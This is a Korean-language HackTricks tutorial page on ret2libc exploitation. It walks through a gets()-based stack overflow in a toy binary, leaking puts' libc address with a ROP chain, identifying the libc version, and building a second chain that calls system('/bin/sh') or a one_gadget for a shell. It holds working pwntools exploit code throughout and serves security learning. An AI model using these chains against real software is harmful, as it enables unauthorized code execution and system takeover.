hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
2024-02-10 21:30:13 +00:00
..
README.md Translated to Korean 2024-02-10 21:30:13 +00:00
rop-leaking-libc-template.md Translated to Korean 2024-02-10 21:30:13 +00:00

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

빠른 요약

  1. 오버플로우 오프셋 찾기
  2. POP_RDI, PUTS_PLT, MAIN_PLT 가젯 찾기
  3. 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 메모리 주소를 유출하고 libc 버전을 찾기 (다운로드)
  4. 라이브러리를 사용하여 ROP를 계산하고 이를 이용하여 취약점을 이용하기

다른 튜토리얼 및 연습용 이진 파일

이 튜토리얼은 다음 튜토리얼에서 제안된 코드/바이너리를 이용합니다: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
다른 유용한 튜토리얼: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

코드

파일명: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - LIBC 주소 노출 템플릿

이 코드를 사용하여 exploit을 만들 것입니다.
exploit을 다운로드하고 취약한 이진 파일과 동일한 디렉토리에 넣고 스크립트에 필요한 데이터를 제공하세요:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- 오프셋 찾기

템플릿은 exploit을 계속하기 전에 오프셋이 필요합니다. 제공된 오프셋이 없으면 필요한 코드를 실행하여 찾을 것입니다 (기본값은 OFFSET = ""입니다).

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

실행 python template.py를 입력하면 프로그램이 충돌한 상태로 GDB 콘솔이 열립니다. 그 GDB 콘솔에서 x/wx $rsp를 실행하여 RIP를 덮어쓸 바이트를 얻습니다. 마지막으로 파이썬 콘솔을 사용하여 오프셋을 얻습니다:

from pwn import *
cyclic_find(0x6161616b)

오프셋을 찾은 후 (이 경우에는 40) 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다.
OFFSET = "A" * 40

다른 방법은 pattern create 1000 -- execute until ret -- pattern seach $rsp를 사용하는 것입니다.

2- 가젯 찾기

이제 이진 파일 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 libc를 찾기 위해 puts를 호출하는 데 유용하며, 나중에 최종 공격을 실행하는 데 사용될 것입니다.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT함수 puts를 호출하기 위해 필요합니다.
MAIN_PLT메인 함수를 호출하기 위해 필요합니다. 하나의 상호작용 후에 다시 오버플로우를 이용하여 exploit을 수행하기 위해 사용됩니다 (무한한 exploit 라운드). 각 ROP의 끝에서 프로그램을 다시 호출하기 위해 사용됩니다.
POP_RDI는 호출된 함수에 매개변수전달하기 위해 필요합니다.

이 단계에서는 실행 중에 pwntools가 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.

3- LIBC 라이브러리 찾기

이제 사용 중인 libc 라이브러리의 버전을 찾을 시간입니다. 이를 위해 우리는 메모리의 함수 puts주소leak한 다음 해당 주소에 있는 puts 버전이 있는 라이브러리 버전검색할 것입니다.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

이를 위해 실행된 코드에서 가장 중요한 줄은 다음과 같습니다:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

이렇게 하면 RIP를 덮어쓰기 가능한 바이트를 보낼 수 있습니다: OFFSET.
그런 다음, 가젯 POP_RDI주소를 설정하여 다음 주소(FUNC_GOT)가 RDI 레지스트리에 저장됩니다. 이는 PUTS_GOT의 주소를 메모리의 puts 함수 주소가 가리키는 주소에 저장하기 위함입니다.
그 후에는 PUTS_PLT가 호출됩니다(RDI 내부에 PUTS_GOT이 있음). 따라서 puts는 PUTS_GOT 내부의 내용(메모리의 puts 함수 주소)을 읽고 출력합니다.
마지막으로, main 함수가 다시 호출되므로 우리는 오버플로우를 다시 이용할 수 있습니다.

이렇게 하면 puts 함수를 속여서 메모리에 있는 puts 함수의 주소를 출력하게 만들었습니다(이는 libc 라이브러리 내에 있습니다). 이제 해당 주소를 사용하여 어떤 libc 버전을 사용하는지 검색할 수 있습니다.

로컬 바이너리를 exploit하는 경우 libc 버전을 찾을 필요가 없습니다(/lib/x86_64-linux-gnu/libc.so.6에서 라이브러리를 찾기만 하면 됩니다).
하지만 원격 exploit의 경우 여기서 어떻게 찾을 수 있는지 설명하겠습니다:

3.1- libc 버전 검색 (1)

웹 페이지 https://libc.blukat.me/에서 사용 중인 라이브러리를 검색할 수 있습니다.
또한 검색된 libc 버전을 다운로드할 수 있습니다.

3.2- libc 버전 검색 (2)

다음을 수행할 수도 있습니다:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

이 작업은 시간이 걸릴 수 있으니 기다려주십시오.
이 작업을 수행하기 위해 필요한 것은:

  • Libc 심볼 이름: puts
  • 누출된 libc 주소: 0x7ff629878690

가능성이 가장 높은 libc를 알아낼 수 있습니다.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

우리는 2개의 일치 항목을 얻습니다 (첫 번째 항목이 작동하지 않으면 두 번째 항목을 시도해 보세요). 첫 번째 항목을 다운로드하세요:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so 파일을 작업 디렉토리로 복사합니다.

3.3- 라이브러리 주소 노출을 위한 다른 함수들

puts
printf
__libc_start_main
read
gets

4- 기반 libc 주소 찾기 및 이용하기

이 시점에서 우리는 사용되는 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 공격하고 있으므로, 단순히 /lib/x86_64-linux-gnu/libc.so.6를 사용하겠습니다.

그래서, template.py의 시작 부분에서 libc 변수를 다음과 같이 변경하십시오: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libc 라이브러리의 경로를 제공하면, 나머지 공격은 자동으로 계산됩니다.

get_addr 함수 내에서 libc의 기반 주소가 계산됩니다:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} 주의: 최종 libc 기본 주소는 00으로 끝나야 합니다. 그렇지 않은 경우 잘못된 라이브러리가 유출될 수 있습니다. {% endhint %}

그런 다음, system 함수의 주소와 문자열 "/bin/sh"주소libc기본 주소libc 라이브러리에서 계산됩니다.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

마침내, /bin/sh 실행 exploit이 준비되어 전송될 것입니다:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

이 마지막 ROP를 설명해보겠습니다. 마지막 ROP(rop1)은 다시 main 함수를 호출하고, 그래서 우리는 오버플로우를 다시 이용할 수 있습니다(그래서 OFFSET이 다시 나타납니다). 그런 다음, POP_RDI를 호출하여 _"/bin/sh"의 주소(BINSH)를 가리키고, _"/bin/sh"의 주소가 매개변수로 전달되기 때문에 system 함수(SYSTEM)를 호출하려고 합니다. 마지막으로, exit 함수의 주소를 호출하여 프로세스가 정상적으로 종료되고 어떤 경고도 발생하지 않도록 합니다.

이렇게 하면 exploit이 _/bin/sh 쉘을 실행할 것입니다.

4(2)- ONE_GADGET 사용하기

system"/bin/sh" 대신에 ONE_GADGET을 사용하여 쉘을 얻을 수도 있습니다. ONE_GADGET은 libc 라이브러리 내에서 하나의 ROP 주소만 사용하여 쉘을 얻는 방법을 찾아줍니다. 하지만, 일반적으로 몇 가지 제약 조건이 있습니다. 가장 일반적이고 피할 수 있는 제약 조건은 [rsp+0x30] == NULL과 같은 것입니다. RSP 내부의 값을 제어할 수 있으므로, 추가적인 NULL 값을 보내서 제약 조건을 피할 수 있습니다.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT 파일

이 취약점을 악용하기 위한 템플릿을 다음에서 찾을 수 있습니다:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

일반적인 문제

MAIN_PLT = elf.symbols['main']을 찾을 수 없음

"main" 심볼이 존재하지 않는 경우, main 코드가 있는 곳을 찾을 수 있습니다:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

그리고 주소를 수동으로 설정하세요:

MAIN_PLT = 0x401080

Puts를 찾을 수 없음

바이너리가 Puts를 사용하지 않는 경우 다음을 확인해야합니다.

sh: 1: %s%s%s%s%s%s%s%s: not found

모든 exploit을 생성한 후에 이 오류를 발견하면 sh: 1: %s%s%s%s%s%s%s%s: not found 다음을 시도하십시오.

"/bin/sh"의 주소에서 64바이트를 빼보세요.

BINSH = next(libc.search("/bin/sh")) - 64
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: